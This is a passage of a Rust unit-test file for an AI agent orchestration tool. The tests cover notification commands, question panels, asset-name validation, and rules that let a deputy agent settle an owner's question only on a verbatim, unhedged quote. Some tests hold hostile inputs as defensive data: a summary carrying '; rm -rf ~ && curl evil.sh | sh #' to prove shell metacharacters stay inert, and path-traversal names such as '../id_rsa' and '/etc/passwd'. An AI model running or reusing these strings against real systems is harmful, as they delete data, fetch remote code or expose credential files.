2656            "talking back is not a decision; the question stays open"
2657        );
2658    }
2659
2660    #[tokio::test]
2661    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2662        // A broken webhook must not throw away an implementation, so the wait
2663        // reports the failure and carries on. `notify` itself still says what
2664        // went wrong, because `magi notify --test` has to be able to show it.
2665        let (dir, s) = store();
2666        let broken = config::Notify {
2667            command: vec![
2668                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2669                "{summary}".to_owned(),
2670            ],
2671        };
2672        let mut q = choice_question();
2673        assert!(
2674            notify(&broken, &q).await.is_err(),
2675            "the caller is told; it decides that it does not matter"
2676        );
2677
2678        let id = q.id.clone();
2679        let writer = Questions::at(dir.path().join("questions"));
2680        let handle = tokio::spawn(async move {
2681            tokio::time::sleep(Duration::from_millis(30)).await;
2682            let mut fresh = writer.get(&id).unwrap();
2683            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2684            writer.put(&mut fresh).unwrap();
2685        });
2686        let got = wait_for_owner(
2687            &mut q,
2688            &s,
2689            &broken,
2690            Duration::from_secs(5),
2691            Duration::from_millis(10),
2692        )
2693        .await
2694        .unwrap();
2695        handle.await.unwrap();
2696        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2697
2698        // No command at all is the default, and is silence rather than failure.
2699        assert!(notify(&quiet(), &q).await.is_ok());
2700        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2701    }
2702
2703    #[tokio::test]
2704    async fn external_question_notification_names_the_supported_response_path() {
2705        let dir = tempfile::tempdir().unwrap();
2706        let path = dir.path().join("page");
2707        let cmd = config::Notify {
2708            command: vec![
2709                "sh".into(),
2710                "-c".into(),
2711                "printf '%s' \"$1\" > \"$2\"".into(),
2712                "notify".into(),
2713                "{summary}".into(),
2714                path.to_string_lossy().into_owned(),
2715            ],
2716        };
2717        let q = choice_question();
2718        notify(&cmd, &q).await.unwrap();
2719        let sent = std::fs::read_to_string(&path).unwrap();
2720        assert!(sent.starts_with("Question "));
2721        assert!(sent.contains(&q.summary));
2722        assert!(sent.contains(&format!("magi answer {}", q.id)));
2723        notify_text(&cmd, "", "Informational report. No reply needed.")
2724            .await
2725            .unwrap();
2726        assert_eq!(
2727            std::fs::read_to_string(&path).unwrap(),
2728            "Informational report. No reply needed."
2729        );
2730    }
2731
2732    #[test]
2733    fn external_notifications_and_questions_have_distinct_destinations() {
2734        assert_eq!(
2735            question_url("https://example.invalid/"),
2736            "https://example.invalid/#/questions"
2737        );
2738        assert_eq!(
2739            view_url("https://example.invalid/", "notifications"),
2740            "https://example.invalid/#/notifications"
2741        );
2742        assert_eq!(view_url("", "notifications"), "");
2743        assert_eq!(
2744            view_url("https://example.invalid/#/queue", "notifications"),
2745            "https://example.invalid/#/queue"
2746        );
2747    }
2748
2749    #[test]
2750    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2751        let mut q = choice_question();
2752        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2753        let template = [
2754            "ntfy".to_owned(),
2755            "publish".to_owned(),
2756            "--click".to_owned(),
2757            "{url}".to_owned(),
2758            "--title".to_owned(),
2759            "magi {run} needs you".to_owned(),
2760            "{summary}".to_owned(),
2761        ];
2762        let argv: Vec<String> = template
2763            .iter()
2764            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2765            .collect();
2766
2767        assert_eq!(
2768            argv,
2769            [
2770                "ntfy",
2771                "publish",
2772                "--click",
2773                "http://100.64.0.1:7777/#/questions",
2774                "--title",
2775                "magi 20260902-201256-9fb7 needs you",
2776                "; rm -rf ~ && curl evil.sh | sh #",
2777            ],
2778            "the shell metacharacters are one argument's contents, not syntax"
2779        );
2780
2781        // A summary that itself mentions a placeholder is text, not a template:
2782        // one left-to-right pass means a substituted value is never rescanned.
2783        q.summary = "should {url} be configurable?".to_owned();
2784        assert_eq!(
2785            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2786            "should {url} be configurable?"
2787        );
2788        // An unknown brace is the operator's own text and survives untouched.
2789        assert_eq!(
2790            expand("{title}: {run}", &q.run, &q.summary, ""),
2791            "{title}: 20260902-201256-9fb7"
2792        );
2793        assert_eq!(
2794            expand("no placeholders", &q.run, &q.summary, "http://x"),
2795            "no placeholders"
2796        );
2797    }
2798
2799    #[test]
2800    fn the_notification_link_lands_on_the_view_that_can_answer() {
2801        assert_eq!(
2802            question_url("http://100.64.0.1:7777"),
2803            "http://100.64.0.1:7777/#/questions"
2804        );
2805        assert_eq!(
2806            question_url("http://100.64.0.1:7777/"),
2807            "http://100.64.0.1:7777/#/questions"
2808        );
2809        // An operator who wrote a fragment has said where they want to land.
2810        assert_eq!(
2811            question_url("http://magi.ts.net/#/runs"),
2812            "http://magi.ts.net/#/runs"
2813        );
2814        // Unset expands to nothing rather than to a guessed address.
2815        assert_eq!(question_url("  "), "");
2816    }
2817
2818    /// A question with a fixed id, so a panel's path on disk is predictable.
2819    fn panelled() -> Question {
2820        let mut q = choice_question();
2821        q.id = "20260903-014455-ab12".to_owned();
2822        q
2823    }
2824
2825    #[test]
2826    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2827        let (dir, s) = store();
2828        let work = dir.path().join("worktree");
2829        std::fs::create_dir_all(&work).unwrap();
2830        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2831        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2832
2833        let mut q = panelled();
2834        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2835        s.put_panel(
2836            &mut q,
2837            html,
2838            &[work.join("table.png"), work.join("diff.svg")],
2839        )
2840        .unwrap();
2841        s.put(&mut q).unwrap();
2842
2843        assert!(q.panel);
2844        assert_eq!(
2845            q.assets,
2846            ["diff.svg", "table.png"],
2847            "sorted, not in the order the agent happened to pass them"
2848        );
2849        assert_eq!(
2850            s.panel_html(&q.id).as_deref(),
2851            Some(html),
2852            "the html is stored byte for byte; the agent authored the markup"
2853        );
2854        assert_eq!(
2855            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2856            Some(&b"<svg/>"[..])
2857        );
2858
2859        // The record on disk carries the same two fields the front end reads.
2860        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2861        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2862        assert_eq!(json["panel"], true);
2863        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2864        let back = s.get(&q.id).unwrap();
2865        assert!(back.panel);
2866        assert_eq!(back.assets, q.assets);
2867
2868        // The assets were copied, so the panel still renders after `magi fold`
2869        // has deleted the candidate worktree the agent authored it in.
2870        std::fs::remove_dir_all(&work).unwrap();
2871        assert_eq!(
2872            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2873            Some(&b"\x89PNG"[..]),
2874            "a referenced asset would be gone with the worktree"
2875        );
2876    }
2877
2878    #[test]
2879    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2880        let (dir, s) = store();
2881        let mut q = panelled();
2882        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2883        s.put(&mut q).unwrap();
2884
2885        // A file exactly one level up from the panel directory - which is
2886        // where `..` lands - holding content a read would make visible.
2887        let secret = "this must never reach the browser";
2888        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2889        assert_eq!(
2890            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2891            secret,
2892            "the traversal is real: the operating system resolves this path \
2893             happily, which is why the name has to be refused before the join"
2894        );
2895
2896        let long = "x".repeat(200);
2897        for name in [
2898            "..",
2899            "../id_rsa",
2900            "..\\id_rsa",
2901            "sub/../id_rsa",
2902            "/",
2903            "\\",
2904            "/etc/passwd",
2905            "C:\\Windows\\win.ini",
2906            "",
2907            ".hidden",
2908            ".",
2909            long.as_str(),
2910        ] {
2911            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2912            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2913            assert!(
2914                e.contains("not a panel file name"),
2915                "`{name}` must be refused as a name, not attempted: {e}"
2916            );
2917            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2918        }
2919        // A name that is allowed still finds its file, so the refusals above
2920        // were the rule at work and not a store that reads nothing.
2921        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2922
2923        // The same rule on the write side, where the name comes from a source
2924        // file's base name, and a refusal leaves the stored panel untouched.
2925        let hidden = dir.path().join(".hidden");
2926        std::fs::write(&hidden, "x").unwrap();
2927        let e = s
2928            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2929            .unwrap_err()
2930            .to_string();
2931        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2932        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2933        assert!(q.assets.is_empty());
2934    }
2935
2936    #[test]
2937    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2938        let (dir, s) = store();
2939        let mut q = panelled();
2940        s.put(&mut q).unwrap();
2941
2942        // Sized rather than filled: the cap reads the file's length, and a
2943        // test that actually produced eight mebibytes would only be slower.
2944        let big = dir.path().join("recording.png");
2945        std::fs::File::create(&big)
2946            .unwrap()
2947            .set_len(PANEL_MAX_BYTES)
2948            .unwrap();
2949
2950        let html = "<p>see the recording</p>";
2951        let total = PANEL_MAX_BYTES + html.len() as u64;
2952        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2953        assert!(
2954            e.contains(&PANEL_MAX_BYTES.to_string()),
2955            "the cap is named so the agent knows the limit: {e}"
2956        );
2957        assert!(
2958            e.contains(&total.to_string()),
2959            "the actual size is named so the agent knows by how much: {e}"
2960        );
2961
2962        assert!(!q.panel);
2963        assert!(q.assets.is_empty());
2964        let left: Vec<String> = std::fs::read_dir(s.root())
2965            .unwrap()
2966            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2967            .collect();
2968        assert_eq!(
2969            left,
2970            [format!("{}.json", q.id)],
2971            "a refused panel leaves neither a directory nor scratch: {left:?}"
2972        );
2973    }
2974
2975    #[test]
2976    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2977        let (dir, s) = store();
2978        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2979        std::fs::create_dir_all(&before).unwrap();
2980        std::fs::create_dir_all(&after).unwrap();
2981        std::fs::write(before.join("diff.png"), "before").unwrap();
2982        std::fs::write(after.join("diff.png"), "after").unwrap();
2983
2984        let mut q = panelled();
2985        let e = s
2986            .put_panel(
2987                &mut q,
2988                "<p>x</p>",
2989                &[before.join("diff.png"), after.join("diff.png")],
2990            )
2991            .unwrap_err()
2992            .to_string();
2993        assert!(e.contains("diff.png"), "{e}");
2994        assert!(
2995            e.contains("before") && e.contains("after"),
2996            "both sources are named, because the fix is to rename one: {e}"
2997        );
2998        assert!(!q.panel);
2999        assert!(!s.panel_dir(&q.id).exists());
3000    }
3001
3002    #[test]
3003    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3004        let (dir, s) = store();
3005        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3006        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3007
3008        let mut q = panelled();
3009        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3010            .unwrap();
3011        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3012            .unwrap();
3013
3014        assert_eq!(q.assets, ["new.png"]);
3015        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3016        assert!(
3017            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3018            "an asset from the first attempt would show a mix of two answers"
3019        );
3020
3021        s.drop_panel(&q.id).unwrap();
3022        assert!(s.panel_html(&q.id).is_none());
3023        assert!(!s.panel_dir(&q.id).exists());
3024        s.drop_panel(&q.id)
3025            .expect("dropping a panel that is already gone is the desired state");
3026    }
3027
3028    #[test]
3029    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3030        let (_dir, s) = store();
3031        let mut q = panelled();
3032        s.put(&mut q).unwrap();
3033
3034        assert!(!q.panel);
3035        assert!(s.panel_html(&q.id).is_none());
3036        assert!(
3037            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3038            "a missing file is a 404 for the caller, not a failure of the store"
3039        );
3040        let json = serde_json::to_value(&q).unwrap();
3041        assert_eq!(json["panel"], false);
3042        assert_eq!(json["assets"], serde_json::json!([]));
3043
3044        // And an empty panel is refused, because an empty frame reads to the
3045        // owner as "the agent had nothing to say".
3046        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3047        assert!(e.contains("empty panel"), "{e}");
3048        assert!(!s.panel_dir(&q.id).exists());
3049    }
3050
3051    #[test]
3052    fn a_question_written_before_panels_existed_still_deserialises() {
3053        let (_dir, s) = store();
3054        std::fs::create_dir_all(s.root()).unwrap();
3055        let id = "20260902-231501-ab12";
3056        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3057        let body = r#"{
3058  "schema": 1,
3059  "id": "20260902-231501-ab12",
3060  "run": "20260902-201256-9fb7",
3061  "node": "implement",
3062  "seat": "impl-A",
3063  "summary": "Which storage backend should the cache use?",
3064  "detail": "Both are already dependencies.",
3065  "choices": ["SQLite", "Redis"],
3066  "status": "open",
3067  "asked_at": "2026-09-02T23:15:01Z",
3068  "answered_at": null,
3069  "answer": null
3070}"#;
3071        std::fs::write(s.path_of(id), body).unwrap();
3072
3073        let q = s.get(id).unwrap();
3074        assert!(
3075            !q.panel,
3076            "an absent field means no panel, not a parse error"
3077        );
3078        assert!(q.assets.is_empty());
3079        // Schema 1 predates `thread` entirely - not merely predates it having
3080        // any turns - and this build now speaks schema 3. Reading it must not
3081        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3082        // accepted and the missing field defaults to no conversation yet.
3083        assert_eq!(q.schema, 1);
3084        assert!(q.thread.is_empty());
3085        assert_eq!(
3086            q.answer_timeout, 0,
3087            "an absent field means unrecorded, not a zero-second deadline"
3088        );
3089        assert!(!q.waiting_on_agent());
3090        assert_eq!(q.summary, "Which storage backend should the cache use?");
3091        assert_eq!(
3092            s.list().len(),
3093            1,
3094            "and it is still listed; skipping it would hide an open question"
3095        );
3096    }
3097
3098    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3099        Turn {
3100            who,
3101            body: body.to_owned(),
3102            at,
3103            note: None,
3104        }
3105    }
3106
3107    #[test]
3108    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3109        // The phone reads this shape by hand, same as the question itself: a
3110        // rename here is a card that silently drops every message in it.
3111        let mut q = choice_question();
3112        q.thread
3113            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3114        let value = serde_json::to_value(&q.thread[0]).unwrap();
3115        let mut keys: Vec<&str> = value
3116            .as_object()
3117            .unwrap()
3118            .keys()
3119            .map(String::as_str)
3120            .collect();
3121        keys.sort_unstable();
3122        assert_eq!(keys, ["at", "body", "who"]);
3123        assert_eq!(value["who"], "operator");
3124        assert_eq!(value["body"], "why not Postgres?");
3125
3126        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3127        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3128        assert_eq!(parsed.who, Who::Agent);
3129    }
3130
3131    fn approval_question() -> Question {
3132        let mut q = Question::new(
3133            "run".into(),
3134            crate::land::APPROVAL_NODE.into(),
3135            "land".into(),
3136            "Merge?".into(),
3137            String::new(),
3138            vec!["merge".into(), "hold".into()],
3139        );
3140        let mut dep = Deputy::new("brief".into());
3141        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3142        q.deputy = Some(dep);
3143        q
3144    }
3145
3146    #[test]
3147    fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3148        for choice in [
3149            crate::merge_decision::WITHDRAW,
3150            "reimplement:primary",
3151            "retry",
3152            "discard",
3153        ] {
3154            let mut q = approval_question();
3155            q.choices.push(choice.into());
3156            if matches!(choice, "retry" | "discard") {
3157                q.node = "recovery".into();
3158            }
3159            if choice == "discard" {
3160                q.actions.insert(choice.into(), ChoiceAction::Done);
3161            }
3162            let words = "おっけーそれぞれ回答してー";
3163            q.say(words).unwrap();
3164            let error = q
3165                .settle_by_deputy("deputy-x", choice, words, None)
3166                .unwrap_err()
3167                .to_string();
3168            assert!(
3169                error.contains(if choice == "retry" {
3170                    "manifest"
3171                } else {
3172                    "individual owner confirmation"
3173                }),
3174                "{choice}: {error}"
3175            );
3176            assert!(q.status.open());
3177        }
3178    }
3179
3180    #[test]
3181    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3182        for choice in [
3183            crate::land::HOLD,
3184            crate::land::REPAIR,
3185            crate::merge_decision::WITHDRAW,
3186            "reimplement:beta",
3187        ] {
3188            let mut q = approval_question();
3189            q.node = crate::land::APPROVAL_NODE.into();
3190            q.choices = vec!["merge".into(), choice.into()];
3191            q.merge_target = Some(crate::merge_decision::Target {
3192                pr: "PR 42".into(),
3193                head: "abc".into(),
3194                language: "en".into(),
3195            });
3196            q.say(format!("Should we choose {choice}?")).unwrap();
3197            assert!(
3198                q.settle_by_deputy("deputy-x", choice, choice, None)
3199                    .is_err()
3200            );
3201            q.say(choice).unwrap();
3202            q.settle_by_deputy("deputy-x", choice, choice, None)
3203                .unwrap();
3204            assert_eq!(q.resolution().as_deref(), Some(choice));
3205        }
3206        let mut q = approval_question();
3207        q.node = crate::land::APPROVAL_NODE.into();
3208        q.choices = vec!["merge".into(), "hold".into()];
3209        q.merge_target = Some(crate::merge_decision::Target {
3210            pr: "PR 42".into(),
3211            head: "new-head".into(),
3212            language: "en".into(),
3213        });
3214        q.say("merge old-head").unwrap();
3215        assert!(
3216            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3217                .is_err()
3218        );
3219        q.say("merge new-head").unwrap();
3220        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3221            .unwrap();
3222    }
3223
3224    #[test]
3225    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3226        let mut q = approval_question();
3227        q.choices.push(crate::land::REPAIR.into());
3228        q.say("maybe fix findings and re-review").unwrap();
3229        assert!(
3230            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3231                .is_err()
3232        );
3233        q.say(crate::land::REPAIR).unwrap();
3234        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3235            .unwrap();
3236        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3237        assert_eq!(
3238            crate::land::approval(q.resolution().as_deref()),
3239            crate::land::Approval::Repair
3240        );
3241    }
3242
3243    #[test]
3244    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3245        let mut q = approval_question();
3246        q.say("merge").unwrap();
3247        q.reply("sure?", vec!["merge".into(), "hold".into()])
3248            .unwrap();
3249        q.say(" Merge it please ").unwrap();
3250        assert!(
3251            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3252                .is_err(),
3253            "an empty quote is refused"
3254        );
3255        assert!(
3256            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3257                .is_err(),
3258            "a quote the owner never said is refused"
3259        );
3260        assert_eq!(q.status, QuestionStatus::Open);
3261        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3262            .unwrap();
3263        assert_eq!(q.resolution().as_deref(), Some("merge"));
3264    }
3265
3266    #[test]
3267    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3268        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3269        let mk = || {
3270            let mut q = Question::new(
3271                "run".into(),
3272                crate::github_text::ASK_NODE.into(),
3273                crate::github_text::ASK_SEAT.into(),
3274                "s".into(),
3275                String::new(),
3276                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3277            );
3278            let mut dep = Deputy::new("brief".into());
3279            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3280            q.deputy = Some(dep);
3281            q
3282        };
3283        let mut hedged = mk();
3284        hedged.say("Post the original, maybe?").unwrap();
3285        assert!(
3286            hedged
3287                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3288                .is_err()
3289        );
3290        let mut clear = mk();
3291        clear.say("Post the original text as it is.").unwrap();
3292        clear
3293            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3294            .unwrap();
3295        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3296        let mut japanese = mk();
3297        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3298        japanese.say(words).unwrap();
3299        japanese
3300            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3301            .unwrap();
3302        let mut unrelated = mk();
3303        unrelated.say("Proceed with the task").unwrap();
3304        assert!(
3305            unrelated
3306                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3307                .is_err()
3308        );
3309        for words in [
3310            "OK, post the original",
3311            "Yes, post original",
3312            "I'd like to post the original",
3313        ] {
3314            let mut natural = mk();
3315            natural.say(words).unwrap();
3316            natural
3317                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3318                .unwrap();
3319        }
3320        for (message, quote) in [
3321            (
3322                "ログには「元の説明で投稿しました」と記録されています。",
3323                "ログには「元の説明で投稿しました」と記録されています。",
3324            ),
3325            (
3326                "ログには「元の説明で投稿してください」と記録されています。",
3327                "元の説明で投稿してください",
3328            ),
3329        ] {
3330            let mut descriptive = mk();
3331            descriptive.say(message).unwrap();
3332            assert!(
3333                descriptive
3334                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3335                    .is_err()
3336            );
3337            assert!(descriptive.status.open());
3338            assert!(descriptive.answer.is_none());
3339        }
3340        let mut descriptive = mk();
3341        let message = "Post original was the option I saw.";
3342        descriptive.say(message).unwrap();
3343        for quote in [message, "Post original"] {
3344            assert!(
3345                descriptive
3346                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3347                    .is_err()
3348            );
3349            assert!(descriptive.status.open());
3350            assert!(descriptive.answer.is_none());
3351        }
3352        // The changed text is the safe default: no extra guard beyond the quote.
3353        let mut safe = mk();
3354        safe.say("use the fallback").unwrap();
3355        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3356            .unwrap();
3357    }
3358
3359    #[test]
3360    fn posting_deputy_rejects_multiline_quoted_context() {
3361        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3362        for (command, choice) in [
3363            ("Post original", POST_ORIGINAL),
3364            ("Use rewrite", USE_REWRITE),
3365        ] {
3366            for message in [
3367                format!("The log contains:\n```\n{command}\n```"),
3368                format!("The log contains:\n\"\n{command}\n\""),
3369                format!("The log says: “Reported. {command}.”"),
3370                format!("The log says: “\n{command}\n”"),
3371            ]
3372            .into_iter()
3373            .chain(crate::github_text::reported_posting_messages(command))
3374            {
3375                let mut q = Question::new(
3376                    "run".into(),
3377                    ASK_NODE.into(),
3378                    ASK_SEAT.into(),
3379                    "s".into(),
3380                    String::new(),
3381                    vec![USE_FALLBACK.into(), choice.into()],
3382                );
3383                let mut dep = Deputy::new("brief".into());
3384                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3385                q.deputy = Some(dep);
3386                q.say(&message).unwrap();
3387                let tmp = tempfile::tempdir().unwrap();
3388                let questions = Questions::at(tmp.path().join("questions"));
3389                questions.put(&mut q).unwrap();
3390                for quote in [command, message.as_str()] {
3391                    assert!(
3392                        questions
3393                            .update(&q.id, |stored| {
3394                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3395                            })
3396                            .is_err()
3397                    );
3398                    let after = questions.get(&q.id).unwrap();
3399                    assert!(after.status.open());
3400                    assert!(after.answer.is_none());
3401                }
3402            }
3403        }
3404    }
3405
3406    #[test]
3407    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3408        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3409        let mk = || {
3410            let mut q = Question::new(
3411                "run".into(),
3412                crate::github_text::ASK_NODE.into(),
3413                crate::github_text::ASK_SEAT.into(),
3414                "s".into(),
3415                String::new(),
3416                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3417            );
3418            let mut dep = Deputy::new("brief".into());
3419            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3420            q.deputy = Some(dep);
3421            q
3422        };
3423        let mut hedged = mk();
3424        hedged.say("Use the rewrite, maybe?").unwrap();
3425        assert!(
3426            hedged
3427                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3428                .is_err()
3429        );
3430        let mut descriptive = mk();
3431        let message = "Use rewrite was the option I saw.";
3432        descriptive.say(message).unwrap();
3433        for quote in [message, "Use rewrite"] {
3434            assert!(
3435                descriptive
3436                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3437                    .is_err()
3438            );
3439            assert!(descriptive.status.open());
3440            assert!(descriptive.answer.is_none());
3441        }
3442        for words in [
3443            "Use the rewrite text as it is.",
3444            "I'd like to use the rewrite",
3445            "修正版で投稿してください。",
3446        ] {
3447            let mut clear = mk();
3448            clear.say(words).unwrap();
3449            clear
3450                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3451                .unwrap();
3452            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3453        }
3454        // The changed text is the safe default: no extra guard beyond the quote.
3455        let mut safe = mk();
3456        safe.say("use the fallback").unwrap();
3457        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3458            .unwrap();
3459    }
3460
3461    #[test]
3462    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3463        let mk = |choices: Vec<String>| {
3464            let mut q = Question::new(
3465                String::new(),
3466                crate::bump::NOTICE_NODE.into(),
3467                "release-watch".into(),
3468                "Release?".into(),
3469                String::new(),
3470                choices,
3471            );
3472            let mut dep = Deputy::new("brief".into());
3473            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3474            q.deputy = Some(dep);
3475            q
3476        };
3477        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3478        assert!(crate::deputy::merge_gated(&approval));
3479        approval.say("マージしていいよ").unwrap();
3480        assert!(
3481            approval
3482                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3483                .is_err(),
3484            "a quote the owner never said is refused"
3485        );
3486        approval
3487            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3488            .unwrap();
3489
3490        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3491        assert!(!crate::deputy::merge_gated(&esc));
3492        esc.say("もう監視はいらない").unwrap();
3493        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3494            .unwrap();
3495        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3496    }
3497
3498    #[test]
3499    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3500        let mut q = approval_question();
3501        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3502            .unwrap();
3503        assert!(
3504            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3505                .is_err(),
3506            "the quote must be the owner's"
3507        );
3508        assert!(
3509            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3510                .is_err(),
3511            "`hold` still needs the whole message"
3512        );
3513        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3514            .unwrap();
3515        assert_eq!(q.resolution().as_deref(), Some("merge"));
3516    }
3517
3518    fn settle_ready() -> Question {
3519        let mut q = Question::new(
3520            "task".to_owned(),
3521            "conduct".to_owned(),
3522            "conduct".to_owned(),
3523            "Done?".to_owned(),
3524            String::new(),
3525            vec!["yes".to_owned(), "no".to_owned()],
3526        );
3527        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3528        seat.turns = 1;
3529        let mut dep = Deputy::new("brief".to_owned());
3530        dep.seat = Some(seat);
3531        q.deputy = Some(dep);
3532        q.say("setup done, and file a follow-up").unwrap();
3533        q
3534    }
3535
3536    #[test]
3537    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3538        let dir = tempfile::TempDir::new().unwrap();
3539        let store = Questions::at(dir.path().join("questions"));
3540        let mut q = settle_ready();
3541        let id = q.id.clone();
3542        store.put(&mut q).unwrap();
3543        store
3544            .update(&id, |q| {
3545                q.settle_by_deputy(
3546                    "deputy-x",
3547                    "yes",
3548                    "setup done",
3549                    Some("  no follow-up was queued  "),
3550                )
3551            })
3552            .unwrap();
3553        let back = store.get(&id).unwrap();
3554        let turn = back.thread.last().unwrap();
3555        assert_eq!(turn.who, Who::Agent);
3556        assert!(turn.body.starts_with("Settled as `yes`"));
3557        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3558        assert_eq!(back.thread[0].note, None);
3559    }
3560
3561    #[test]
3562    fn an_empty_or_blank_settle_note_is_no_note() {
3563        for note in [None, Some(""), Some("  \n ")] {
3564            let mut q = settle_ready();
3565            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3566                .unwrap();
3567            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3568            let json = serde_json::to_string(&q).unwrap();
3569            assert!(!json.contains("\"note\""), "no key when there is none");
3570        }
3571    }
3572
3573    #[test]
3574    fn a_refused_settle_leaves_no_note_behind() {
3575        let mut q = settle_ready();
3576        let before = q.thread.clone();
3577        assert!(
